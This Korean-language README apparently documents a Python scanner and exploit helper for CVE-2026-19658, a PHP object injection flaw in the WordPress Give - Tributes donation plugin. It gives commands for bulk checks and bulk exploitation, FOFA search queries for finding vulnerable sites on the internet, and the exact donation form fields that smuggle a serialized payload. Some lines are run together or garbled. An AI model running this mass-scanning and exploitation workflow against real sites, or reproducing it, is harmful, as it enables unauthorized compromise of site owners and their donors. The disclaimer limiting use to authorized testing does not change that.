
CVE-2026-19658용 Python 3 검사기 및 익스플로잇 도우미로, WordPress Give Tributes PHP 객체 주입 취약점을 다루며 FOFA 대상 탐색과 레거시 기부 양식 익스플로잇 기능을 제공합니다.
WordPress 애드온 Give - Tributes(Liquid Web / GiveWP)의 **CVE-2026-19658**에 대한 Python 3 개념 증명 스캐너 및 기부 체인 익스플로잇 도우미입니다.
| 플랫폼 | WordPress 플러그인 (GiveWP 코어 필요) |
| 구성 요소 | Give - Tributes |
| 영향 받는 버전 | ≤ 2.3.1 |
| 수정된 버전 | 2.3.1.1+ (정제된 다중 수신자 eCard 필드) |
| CVSS | 9.8 심각 |
| 인증 | 인증되지 않음 (레거시 기부 양식) |
| CWE | CWE-502 — 신뢰할 수 없는 데이터의 역직렬화 |
| 할당자 | Wordfence |
eCard에 대해 Allow Multiple Recipients가 활성화되어 있고 eCard custom message가 비활성화(기본값)된 경우, 취약한 버전은 원시 $_POST eCard 수신자 데이터를 기부 메타에 저장합니다. GiveWP 필드 유효성 검사는 $_POST의 give_clean() 복사본을 사용하지만(직렬화된 문자열은 여기서 비워짐), insert_tribute_data()는 정제되지 않은 $_POST를 읽으므로 두 번째 수신자의 first_name / last_name에 PHP 직렬화 객체가 포함될 수 있습니다.
영향: Give Tributes 단독으로는 알려진 POP 체인이 없습니다. 메타는 읽을 때(예: 관리자 eCard 미리보기/재전송) 역직렬화됩니다. RCE 또는 파괴적 영향은 다른 설치된 플러그인이나 테마의 가젯 체인이 필요합니다.
[give_form] / v2), v3 전용 Visual Form Builder 아님manual)pip install -r requirements.txtpip install -r requirements.txt
# 단일 대상 — 확인 (--list의 경우 기본적으로 터미널 흐름 활성화)
python poc.py -u https://target.example --mode check
# 대량 확인
python poc.py --list targets.example.txt --mode check --threads 20 --flow
# 단일 대상 — 익스플로잇 (승인된 대상만)
python poc.py -u https://target.example --mode exploit \
--form-url /donate/ --form-id 123 --gateway manual \
--payload 'O:8:"stdClass":0:{}'
# 확인 출력에서 대량 익스플로잇
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
--vuln-list exploited.txt
예시:
body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"
호스트 목록 (한 줄에 도메인 하나):
python poc.py --list my_hosts.txt --mode check --threads 20 --flow
FOFA CSV 내보내기:
python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20
익스플로잇 실행 시 **--vuln-list exploited.txt**를 사용하여 hits.txt의 확인 적중이 덮어쓰이지 않도록 하세요.
status 값원격 스캔은 "Allow Multiple Recipients"를 안정적으로 확인할 수 없습니다; 후보는 익스플로잇 시점에 여전히 실패할 수 있습니다.
first_name 필드입니다.manual 게이트웨이는 프로덕션에서 종종 비활성화됩니다 — 양식에 표시되는 게이트웨이(stripe, paypal, test, …)를 시도하세요.give validation rejected donation: tribute/notify 옵션, 금액 또는 게이트웨이 불일치.give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…
.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore
로컬 스캔 목록 및 실행 산출물(list.txt, fofa*.csv, *.jsonl, hits.txt, …)은 .gitignore에 있으며 커밋해서는 안 됩니다.
승인된 보안 테스트 및 교육 목적으로만 사용하세요. 관련 법률 및 프로그램 규칙을 준수할 책임은 사용자에게 있습니다.
| 옵션 | 설명 |
|---|
-u, --url | 단일 기본 URL |
--list | URL 목록, 호스트 파일 또는 candidates.jsonl |
--mode | check 또는 exploit |
--form-url | 기부 페이지 경로 또는 전체 URL |
--form-id | Give 양식 게시물 ID |
--paths | 양식을 크롤링할 추가 경로 |
--payload | 두 번째 수신자 first_name용 직렬화 객체 |
--gateway | Give payment-mode (기본값 manual) |
--email | 기부자 give_email |
--flow | 대량 실행 시 대상당 한 줄 (기본값 --list와 함께) |
--no-flow | 진행 요약만 |
--quiet, -q | 최소 콘솔 출력 |
--threads, -j | 대량 동시성 (기본값 12) |
--output | JSONL 로그 (기본값 cve_2026_19658_results.jsonl) |
--vuln-list | 텍스트 적중/익스플로잇 라인 (기본값 hits.txt) |
--candidates-list | 확인 메타데이터 JSONL (기본값 candidates.jsonl) |
| 파일 | 모드 | 내용 |
|---|
cve_2026_19658_results.jsonl | 둘 다 | 대상당 전체 JSON |
hits.txt | check | **exploitable_candidate**가 있는 URL |
candidates.jsonl | check | best_form, 버전 힌트 |
exploited.txt | exploit | 기부가 확인된 경우 url|payment=… |
| 상태 | 의미 |
|---|
candidate | 취약한 플러그인 + Give + tributes UI가 있는 레거시 양식 |
vulnerable_no_form | 플러그인/버전은 OK이지만 크롤링된 경로에서 적합한 양식을 찾지 못함 |
patched | Tributes > 2.3.1 또는 ≥ 2.3.1.1 (버전을 읽을 수 있는 경우) |
give_only | Tributes를 감지할 수 없는 Give |
no_plugin | Tributes가 감지되지 않음 |